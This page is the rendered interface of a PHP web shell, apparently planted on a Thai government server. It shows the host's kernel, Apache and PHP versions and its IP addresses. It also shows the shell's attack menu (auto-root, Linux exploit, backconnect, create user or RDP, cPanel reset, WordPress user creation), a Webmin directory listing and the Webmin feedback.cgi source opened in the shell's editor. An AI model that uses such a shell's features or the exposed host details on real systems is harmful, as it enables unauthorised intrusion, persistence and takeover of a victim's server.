Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
[ HOME SHELL ]
Name
Size
Permission
Action
JSON
[ DIR ]
drwxr-xr-x
WebminUI
[ DIR ]
drwxr-xr-x
acl
[ DIR ]
drwxr-xr-x
adsl-client
[ DIR ]
drwxr-xr-x
ajaxterm
[ DIR ]
drwxr-xr-x
apache
[ DIR ]
drwxr-xr-x
at
[ DIR ]
drwxr-xr-x
authentic-theme
[ DIR ]
drwxr-xr-x
backup-config
[ DIR ]
drwxr-xr-x
bacula-backup
[ DIR ]
drwxr-xr-x
bandwidth
[ DIR ]
drwxr-xr-x
bind8
[ DIR ]
drwxr-xr-x
blue-theme
[ DIR ]
drwxr-xr-x
change-user
[ DIR ]
drwxr-xr-x
cluster-copy
[ DIR ]
drwxr-xr-x
cluster-cron
[ DIR ]
drwxr-xr-x
cluster-passwd
[ DIR ]
drwxr-xr-x
cluster-shell
[ DIR ]
drwxr-xr-x
cluster-software
[ DIR ]
drwxr-xr-x
cluster-useradmin
[ DIR ]
drwxr-xr-x
cluster-usermin
[ DIR ]
drwxr-xr-x
cluster-webmin
[ DIR ]
drwxr-xr-x
cpan
[ DIR ]
drwxr-xr-x
cron
[ DIR ]
drwxr-xr-x
custom
[ DIR ]
drwxr-xr-x
dfsadmin
[ DIR ]
drwxr-xr-x
dhcpd
[ DIR ]
drwxr-xr-x
dovecot
[ DIR ]
drwxr-xr-x
exim
[ DIR ]
drwxr-xr-x
exports
[ DIR ]
drwxr-xr-x
fail2ban
[ DIR ]
drwxr-xr-x
fdisk
[ DIR ]
drwxr-xr-x
fetchmail
[ DIR ]
drwxr-xr-x
filemin
[ DIR ]
drwxr-xr-x
filter
[ DIR ]
drwxr-xr-x
firewall
[ DIR ]
drwxr-xr-x
firewall6
[ DIR ]
drwxr-xr-x
firewalld
[ DIR ]
drwxr-xr-x
fsdump
[ DIR ]
drwxr-xr-x
gray-theme
[ DIR ]
drwxr-xr-x
grub
[ DIR ]
drwxr-xr-x
heartbeat
[ DIR ]
drwxr-xr-x
htaccess-htpasswd
[ DIR ]
drwxr-xr-x
idmapd
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
inetd
[ DIR ]
drwxr-xr-x
init
[ DIR ]
drwxr-xr-x
inittab
[ DIR ]
drwxr-xr-x
ipfilter
[ DIR ]
drwxr-xr-x
ipfw
[ DIR ]
drwxr-xr-x
ipsec
[ DIR ]
drwxr-xr-x
iscsi-client
[ DIR ]
drwxr-xr-x
iscsi-server
[ DIR ]
drwxr-xr-x
iscsi-target
[ DIR ]
drwxr-xr-x
iscsi-tgtd
[ DIR ]
drwxr-xr-x
jabber
[ DIR ]
drwxr-xr-x
krb5
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
ldap-client
[ DIR ]
drwxr-xr-x
ldap-server
[ DIR ]
drwxr-xr-x
ldap-useradmin
[ DIR ]
drwxr-xr-x
logrotate
[ DIR ]
drwxr-xr-x
lpadmin
[ DIR ]
drwxr-xr-x
lvm
[ DIR ]
drwxr-xr-x
mailboxes
[ DIR ]
drwxr-xr-x
mailcap
[ DIR ]
drwxr-xr-x
man
[ DIR ]
drwxr-xr-x
mon
[ DIR ]
drwxr-xr-x
mount
[ DIR ]
drwxr-xr-x
mysql
[ DIR ]
drwxr-xr-x
net
[ DIR ]
drwxr-xr-x
nis
[ DIR ]
drwxr-xr-x
openslp
[ DIR ]
drwxr-xr-x
package-updates
[ DIR ]
drwxr-xr-x
pam
[ DIR ]
drwxr-xr-x
pap
[ DIR ]
drwxr-xr-x
passwd
[ DIR ]
drwxr-xr-x
phpini
[ DIR ]
drwxr-xr-x
postfix
[ DIR ]
drwxr-xr-x
postgresql
[ DIR ]
drwxr-xr-x
ppp-client
[ DIR ]
drwxr-xr-x
pptp-client
[ DIR ]
drwxr-xr-x
pptp-server
[ DIR ]
drwxr-xr-x
proc
[ DIR ]
drwxr-xr-x
procmail
[ DIR ]
drwxr-xr-x
proftpd
[ DIR ]
drwxr-xr-x
qmailadmin
[ DIR ]
drwxr-xr-x
quota
[ DIR ]
drwxr-xr-x
raid
[ DIR ]
drwxr-xr-x
samba
[ DIR ]
drwxr-xr-x
sarg
[ DIR ]
drwxr-xr-x
sendmail
[ DIR ]
drwxr-xr-x
servers
[ DIR ]
drwxr-xr-x
shell
[ DIR ]
drwxr-xr-x
shorewall
[ DIR ]
drwxr-xr-x
shorewall6
[ DIR ]
drwxr-xr-x
smart-status
[ DIR ]
drwxr-xr-x
smf
[ DIR ]
drwxr-xr-x
software
[ DIR ]
drwxr-xr-x
spam
[ DIR ]
drwxr-xr-x
squid
[ DIR ]
drwxr-xr-x
sshd
[ DIR ]
drwxr-xr-x
status
[ DIR ]
drwxr-xr-x
stunnel
[ DIR ]
drwxr-xr-x
syslog
[ DIR ]
drwxr-xr-x
syslog-ng
[ DIR ]
drwxr-xr-x
system-status
[ DIR ]
drwxr-xr-x
tcpwrappers
[ DIR ]
drwxr-xr-x
telnet
[ DIR ]
drwxr-xr-x
time
[ DIR ]
drwxr-xr-x
tunnel
[ DIR ]
drwxr-xr-x
unauthenticated
[ DIR ]
drwxr-xr-x
updown
[ DIR ]
drwxr-xr-x
useradmin
[ DIR ]
drwxr-xr-x
usermin
[ DIR ]
drwxr-xr-x
vgetty
[ DIR ]
drwxr-xr-x
webalizer
[ DIR ]
drwxr-xr-x
webmin
[ DIR ]
drwxr-xr-x
webmincron
[ DIR ]
drwxr-xr-x
webminlog
[ DIR ]
drwxr-xr-x
wuftpd
[ DIR ]
drwxr-xr-x
xinetd
[ DIR ]
drwxr-xr-x
LICENCE
1.48
KB
-rw-r--r--
LICENCE.ja
1.62
KB
-rw-r--r--
README.md
3.71
KB
-rw-r--r--
WebminCore.pm
7.24
KB
-rw-r--r--
acl_security.pl
4.51
KB
-rwxr-xr-x
changepass.pl
2.17
KB
-rwxr-xr-x
chooser.cgi
7.21
KB
-rwxr-xr-x
config-aix
227
B
-rw-r--r--
config-cobalt-linux
264
B
-rw-r--r--
config-coherent-linux
264
B
-rw-r--r--
config-corel-linux
264
B
-rw-r--r--
config-debian-linux
264
B
-rw-r--r--
config-freebsd
256
B
-rw-r--r--
config-generic-linux
264
B
-rw-r--r--
config-gentoo-linux
264
B
-rw-r--r--
config-hpux
243
B
-rw-r--r--
config-irix
284
B
-rw-r--r--
config-lib.pl
8.98
KB
-rwxr-xr-x
config-macos
260
B
-rw-r--r--
config-mandrake-linux
278
B
-rw-r--r--
config-msc-linux
264
B
-rw-r--r--
config-netbsd
283
B
-rw-r--r--
config-open-linux
264
B
-rw-r--r--
config-openbsd
241
B
-rw-r--r--
config-openmamba-linux
264
B
-rw-r--r--
config-openserver
236
B
-rw-r--r--
config-osf1
266
B
-rw-r--r--
config-pardus-linux
264
B
-rw-r--r--
config-redhat-linux
264
B
-rw-r--r--
config-slackware-linux
280
B
-rw-r--r--
config-sol-linux
264
B
-rw-r--r--
config-solaris
417
B
-rw-r--r--
config-suse-linux
264
B
-rw-r--r--
config-syno-linux
364
B
-rw-r--r--
config-trustix-linux
264
B
-rw-r--r--
config-turbo-linux
264
B
-rw-r--r--
config-united-linux
264
B
-rw-r--r--
config-unixware
286
B
-rw-r--r--
config-windows
88
B
-rw-r--r--
config.cgi
1.38
KB
-rwxr-xr-x
config_save.cgi
1.46
KB
-rwxr-xr-x
copyconfig.pl
3.62
KB
-rwxr-xr-x
create-module.pl
3.81
KB
-rwxr-xr-x
date_chooser.cgi
2.19
KB
-rwxr-xr-x
defaultacl
98
B
-rw-r--r--
defaulttheme
16
B
-rw-r--r--
entities_map.txt
1.47
KB
-rw-r--r--
fastrpc.cgi
9.3
KB
-rwxr-xr-x
favicon.ico
14.73
KB
-rw-r--r--
feedback.cgi
6.36
KB
-rwxr-xr-x
feedback_form.cgi
3.45
KB
-rwxr-xr-x
group_chooser.cgi
7.36
KB
-rwxr-xr-x
help.cgi
2.06
KB
-rwxr-xr-x
index.cgi
5.61
KB
-rwxr-xr-x
install-module.pl
1.54
KB
-rwxr-xr-x
install-type
4
B
-rw-r--r--
javascript-lib.pl
14.69
KB
-rwxr-xr-x
lang_list.txt
1.52
KB
-rw-r--r--
maketemp.pl
424
B
-rwxr-xr-x
mime.types
12.42
KB
-rw-r--r--
miniserv.pem
974
B
-rw-r--r--
miniserv.pl
164.5
KB
-rwxr-xr-x
module_chooser.cgi
4.14
KB
-rwxr-xr-x
newmods.pl
1.25
KB
-rwxr-xr-x
os_list.txt
31.73
KB
-rw-r--r--
oschooser.pl
4.54
KB
-rwxr-xr-x
pam_login.cgi
2.65
KB
-rwxr-xr-x
password_change.cgi
7.06
KB
-rwxr-xr-x
password_form.cgi
1.3
KB
-rwxr-xr-x
perlpath.pl
567
B
-rwxr-xr-x
record-login.pl
439
B
-rwxr-xr-x
record-logout.pl
441
B
-rwxr-xr-x
robots.txt
26
B
-rw-r--r--
rpc.cgi
4.13
KB
-rwxr-xr-x
run-postinstalls.pl
996
B
-rwxr-xr-x
run-uninstalls.pl
680
B
-rwxr-xr-x
safeacl
44
B
-rw-r--r--
session_login.cgi
3.35
KB
-rwxr-xr-x
setup.bat
3.08
KB
-rw-r--r--
setup.pl
21.66
KB
-rwxr-xr-x
setup.sh
24.43
KB
-rwxr-xr-x
switch_skill.cgi
293
B
-rwxr-xr-x
switch_user.cgi
404
B
-rwxr-xr-x
thirdparty.pl
1.73
KB
-rwxr-xr-x
ui-lib.pl
79.1
KB
-rwxr-xr-x
update-from-repo.sh
15.3
KB
-rwxr-xr-x
uptracker.cgi
2.86
KB
-rwxr-xr-x
user_chooser.cgi
7.29
KB
-rwxr-xr-x
version
6
B
-rw-r--r--
web-lib-funcs.pl
291.88
KB
-rwxr-xr-x
web-lib.pl
912
B
-rwxr-xr-x
webmin-daemon
80
B
-rw-r--r--
webmin-debian-pam
104
B
-rw-r--r--
webmin-init
1.81
KB
-rwxr-xr-x
webmin-pam
101
B
-rw-r--r--
webmin-search-lib.pl
8.93
KB
-rwxr-xr-x
webmin_search.cgi
2.63
KB
-rwxr-xr-x
xmlrpc.cgi
7.53
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : feedback.cgi
#!/usr/bin/perl # Send the webmin feedback form BEGIN { push(@INC, "."); }; use WebminCore; &init_config(); if (&get_product_name() eq 'usermin') { &switch_to_remote_user(); } &ReadParseMime(); &error_setup($text{'feedback_err'}); %access = &get_module_acl(); $access{'feedback'} || &error($text{'feedback_ecannot'}); # Construct the email body $in{'text'} =~ s/\r//g; $date = localtime(time()); $ver = &get_webmin_version(); if ($in{'name'} && $in{'email'}) { $from = "$in{'name'} <$in{'email'}>"; $email = $in{'email'}; } elsif ($in{'email'}) { $email = $from = $in{'email'}; } else { $email = $from = "feedback\@".&get_system_hostname(); } local $m = $in{'module'}; $m || !$in{'config'} || &error($text{'feedback_emodule'}); &check_os_support($m) && $m !~ /\.\./ || &error($text{'feedback_emodule2'}); if ($m) { %minfo = &get_module_info($m); $ver .= " (Module: $minfo{'version'})" if ($minfo{'version'}); $module = "$m ($minfo{'desc'})"; } else { $module = "None"; } if ($gconfig{'nofeedbackcc'}) { @tolist = ( $gconfig{'feedback_to'} || $minfo{'feedback'} || $webmin_feedback_address ); } else { @tolist = split(/\s+/, $in{'to'}); } @tolist || &error($text{'feedback_enoto'}); foreach $t (@tolist) { $headers .= "To: $t\n"; } $headers .= "From: $from\n"; $headers .= "Subject: $text{'feedback_title'}\n"; $attach[0] = <<EOF; Content-Type: text/plain Content-Transfer-Encoding: 7bit Name: $in{'name'} Email address: $in{'email'} Date: $date Webmin version: $ver Perl version: $] Module: $module Browser: $ENV{'HTTP_USER_AGENT'} EOF if ($in{'os'}) { $uname = `uname -a`; $attach[0] .= <<EOF; OS from webmin: $gconfig{'real_os_type'} $gconfig{'real_os_version'} OS code: $gconfig{'os_type'} $gconfig{'os_version'} Uname output: $uname EOF } $attach[0] .= "\n".$in{'text'}."\n"; if ($in{'config'} && !$gconfig{'nofeedbackconfig'}) { # Check if this user has full rights to the module $access{'feedback'} >= 2 || &error($text{'feedback_ecannot2'}); local %uacl = &get_module_acl(undef, $m); local %defacl; local $mdir = &module_root_directory($m); &read_file("$mdir/defaultacl", \%defacl); if ($access{'feedback'} != 3) { foreach $k (keys %uacl) { if ($defacl{$k} ne $uacl{$k}) { &error($text{'feedback_econfig'}); } } } # Attach all the text file from the module's config local %mconfig = &foreign_config($m); if (keys %mconfig) { local $a; $a .= "Content-Type: text/plain; name=\"config\"\n"; $a .= "Content-Transfer-Encoding: 7bit\n"; $a .= "\n"; foreach $k (keys %mconfig) { $a .= "$k=$mconfig{$k}\n"; } push(@attach, $a); } # Find out what config files the module uses local @files; if (-r "$mdir/feedback_files.pl") { # Ask the module for it's files &foreign_require($m, "feedback_files.pl"); @files = &foreign_call($m, "feedback_files", $m); } # Use all the path in the config foreach $k (keys %mconfig) { push(@files, $mconfig{$k}) if ($mconfig{$k} =~ /^\//); } @files = &unique(@files); # Attach those config files that are plain text (less than 5% # non-ascii characters). Also skip logfiles. foreach $f (@files) { next if (!$f || -d $f); next if ($f =~ /\/var\/log\//); local $/ = undef; open(FILE, $f) || next; local $data = <FILE>; close(FILE); local $count = ($data =~ tr/[\000-\176]/[\000-\176]/); if (!length($data) || 100*$count / length($data) > 95) { # File is text local $a; local $sf = &short_name($f); $a .= "Content-Type: text/plain; name=\"$sf\"\n"; $a .= "Content-Transfer-Encoding: 7bit\n"; $a .= "\n"; $a .= $data; push(@attach, $a); } } } # Include uploaded attached files foreach $u ('attach0', 'attach1') { if ($in{$u} ne '') { local $a; local $name = &short_name($in{"${u}_filename"}); local $type = $in{"${u}_content_type"}; $type = &guess_mime_type($name) if (!$type); $a .= "Content-type: $type; name=\"$name\"\n"; $a .= "Content-Transfer-Encoding: base64\n"; $a .= "\n\n"; $a .= &encode_base64($in{$u}); push(@attach, $a); } } # Build the MIME email $bound = "bound".time(); $mail = $headers; $mail .= "Content-Type: multipart/mixed; boundary=\"$bound\"\n"; $mail .= "MIME-Version: 1.0\n"; $mail .= "\n"; $mail .= "This is a multi-part message in MIME format.\n"; foreach $a (@attach) { $mail .= "\n--".$bound."\n"; $mail .= $a; } $mail .= "\n--".$bound."--\n"; if (!$in{'mailserver_def'}) { $ok = &send_via_smtp($in{'mailserver'}); $sent = 3 if ($ok); } if (!$sent) { # Try to send the email by calling sendmail -t %sconfig = &foreign_config("sendmail"); $sendmail = $sconfig{'sendmail_path'} ? $sconfig{'sendmail_path'} : &has_command("sendmail"); if (-x $sendmail && open(MAIL, "| $sendmail -t")) { print MAIL $mail; if (close(MAIL)) { $sent = 2; } } } if (!$sent) { # Try to connect to a local SMTP server $ok = &send_via_smtp("localhost"); $sent = 1 if ($ok); } if ($sent) { # Tell the user that it was sent OK &ui_print_header(undef, $text{'feedback_title'}, "", undef, 0, 1); if ($sent == 3) { print &text('feedback_via', join(",", @tolist), "<tt>$in{'mailserver'}</tt>"),"\n"; } elsif ($sent == 2) { print &text('feedback_prog', join(",", @tolist), "<tt>$sendmail</tt>"),"\n"; } else { print &text('feedback_via', join(",", @tolist), "<tt>localhost</tt>"),"\n"; } print "<p>\n"; &ui_print_footer("/", $text{'index'}); # Save settings in config $gconfig{'feedback_name'} = $in{'name'}; $gconfig{'feedback_email'} = $in{'email'}; $gconfig{'feedback_mailserver'} = $in{'mailserver_def'} ? undef : $in{'mailserver'}; &write_file("$config_directory/config", \%gconfig); } else { # Give up! Tell the user .. &error($text{'feedback_esend'}); } sub send_via_smtp { local $error; &open_socket($_[0], 25, MAIL, \$error); return 0 if ($error); &smtp_command(MAIL) || return 0; &smtp_command(MAIL, "helo ".&get_system_hostname()."\r\n") || return 0; &smtp_command(MAIL, "mail from: <$email>\r\n") || return 0; foreach $t (@tolist) { &smtp_command(MAIL, "rcpt to: <$t>\r\n") || return 0; } &smtp_command(MAIL, "data\r\n"); $mail =~ s/\r//g; $mail =~ s/\n/\r\n/g; print MAIL $mail; &smtp_command(MAIL, ".\r\n"); &smtp_command(MAIL, "quit\r\n"); close(MAIL); return 1; } # smtp_command(handle, command) sub smtp_command { local ($m, $c) = @_; print $m $c; local $r = <$m>; return $r =~ /^[23]\d+/; } sub short_name { $_[0] =~ /([^\\\/]+)$/; return $1; }
Close